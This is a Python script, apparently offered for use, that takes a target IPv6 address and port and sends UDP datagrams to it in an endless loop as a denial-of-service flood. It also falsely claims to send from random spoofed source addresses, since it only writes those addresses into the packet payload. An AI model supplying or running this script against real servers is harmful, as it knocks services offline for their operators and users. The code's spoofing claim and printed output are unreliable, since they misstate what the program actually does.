import socket
import random

def generate_ipv6_address():
    ipv6_address = ""
    for _ in range(8):
        ipv6_address += format(random.randint(0, 0xffff), 'x') + ":"
    return ipv6_address[:-1]

def ddos_attack(target_ip, target_port):
    while True:
        ipv6_src = generate_ipv6_address()
        ipv6_dst = target_ip

        # Create an IPv6 UDP packet
        packet = socket.inet_pton(socket.AF_INET6, ipv6_src) + \
                 socket.inet_pton(socket.AF_INET6, ipv6_dst) + \
                 b"\x00\x00\x00\x00" + \
                 b"\x00\x01\x00\x02\x00\x03\x00\x04" + \
                 b"\x00\x05\x00\x06\x00\x07\x00\x08" + \
                 b"\x00\x09\x00\x0a\x00\x0b\x00\x0c" + \
                 b"\x00\x0d\x00\x0e\x00\x0f\x00\x10" + \
                 b"\x00\x11\x00\x12\x00\x13\x00\x14" + \
                 b"\x00\x15\x00\x16\x00\x17\x00\x18" + \
                 b"\x00\x19\x00\x1a\x00\x1b\x00\x1c" + \
                 b"\x00\x1d\x00\x1e\x00\x1f\x00\x20" + \
                 b"\x00\x21\x00\x22\x00\x23\x00\x24" + \
                 b"\x00\x25\x00\x26\x00\x27\x00\x28" + \
                 b"\x00\x29\x00\x2a\x00\x2b\x00\x2c" + \
                 b"\x00\x2d\x00\x2e\x00\x2f\x00\x30" + \
                 b"\x00\x31\x00\x32\x00\x33\x00\x34" + \
                 b"\x00\x35\x00\x36\x00\x37\x00\x38" + \
                 b"\x00\x39\x00\x3a\x00\x3b\x00\x3c" + \
                 b"\x00\x3d\x00\x3e\x00\x3f\x00\x40" + \
                 b"\x00\x41\x00\x42\x00\x43\x00\x44" + \
                 b"\x00\x45\x00\x46\x00\x47\x00\x48" + \
                 b"\x00\x49\x00\x4a\x00\x4b\x00\x4c" + \
                 b"\x00\x4d\x00\x4e\x00\x4f\x00\x50" + \
                 b"\x00\x51\x00\x52\x00\x53\x00\x54" + \
                 b"\x00\x55\x00\x56\x00\x57\x00\x58" + \
                 b"\x00\x59\x00\x5a\x00\x5b\x00\x5c" + \
                 b"\x00\x5d\x00\x5e\x00\x5f\x00\x60" + \
                 b"\x00\x61\x00\x62\x00\x63\x00\x64" + \
                 b"\x00\x65\x00\x66\x00\x67\x00\x68" + \
                 b"\x00\x69\x00\x6a\x00\x6b\x00\x6c" + \
                 b"\x00\x6d\x00\x6e\x00\x6f\x00\x70" + \
                 b"\x00\x71\x00\x72\x00\x73\x00\x74" + \
                 b"\x00\x75\x00\x76\x00\x77\x00\x78" + \
                 b"\x00\x79\x00\x7a\x00\x7b\x00\x7c" + \
                 b"\x00\x7d\x00\x7e\x00\x7f\x00\x80" + \
                 b"\x00\x81\x00\x82\x00\x83\x00\x84" + \
                 b"\x00\x85\x00\x86\x00\x87\x00\x88" + \
                 b"\x00\x89\x00\x8a\x00\x8b\x00\x8c" + \
                 b"\x00\x8d\x00\x8e\x00\x8f\x00\x90" + \
                 b"\x00\x91\x00\x92\x00\x93\x00\x94" + \
                 b"\x00\x95\x00\x96\x00\x97\x00\x98" + \
                 b"\x00\x99\x00\x9a\x00\x9b\x00\x9c" + \
                 b"\x00\x9d\x00\x9e\x00\x9f\x00\xa0" + \
                 b"\x00\xa1\x00\xa2\x00\xa3\x00\xa4" + \
                 b"\x00\xa5\x00\xa6\x00\xa7\x00\xa8" + \
                 b"\x00\xa9\x00\xaa\x00\xab\x00\xac" + \
                 b"\x00\xad\x00\xae\x00\xaf\x00\xb0" + \
                 b"\x00\xb1\x00\xb2\x00\xb3\x00\xb4" + \
                 b"\x00\xb5\x00\xb6\x00\xb7\x00\xb8" + \
                 b"\x00\xb9\x00\xba\x00\xbb\x00\xbc" + \
                 b"\x00\xbd\x00\xbe\x00\xbf\x00\xc0" + \
                 b"\x00\xc1\x00\xc2\x00\xc3\x00\xc4" + \
                 b"\x00\xc5\x00\xc6\x00\xc7\x00\xc8" + \
                 b"\x00\xc9\x00\xca\x00\xcb\x00\xcc" + \
                 b"\x00\xcd\x00\xce\x00\xcf\x00\xd0" + \
                 b"\x00\xd1\x00\xd2\x00\xd3\x00\xd4" + \
                 b"\x00\xd5\x00\xd6\x00\xd7\x00\xd8" + \
                 b"\x00\xd9\x00\xda\x00\xdb\x00\xdc" + \
                 b"\x00\xdd\x00\xde\x00\xdf\x00\xe0" + \
                 b"\x00\xe1\x00\xe2\x00\xe3\x00\xe4" + \
                 b"\x00\xe5\x00\xe6\x00\xe7\x00\xe8" + \
                 b"\x00\xe9\x00\xea\x00\xeb\x00\xec" + \
                 b"\x00\xed\x00\xee\x00\xef\x00\xf0" + \
                 b"\x00\xf1\x00\xf2\x00\xf3\x00\xf4" + \
                 b"\x00\xf5\x00\xf6\x00\xf7\x00\xf8" + \
                 b"\x00\xf9\x00\xfa\x00\xfb\x00\xfc" + \
                 b"\x00\xfd\x00\xfe\x00\xff"

        # Create a UDP socket
        sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)

        try:
            # Send UDP packet to the target server
            sock.sendto(packet, (ipv6_dst, target_port))
            print(f"Sent packet from {ipv6_src} to {ipv6_dst} port {target_port}")
        except socket.error as e:
            print(f"Error: {e}")
        finally:
            sock.close()

if __name__ == "__main__":
    target_ip = input("Enter the target IPv6 address:")
    target_port = int(input("Enter the target port:"))
    ddos_attack(target_ip, target_port)
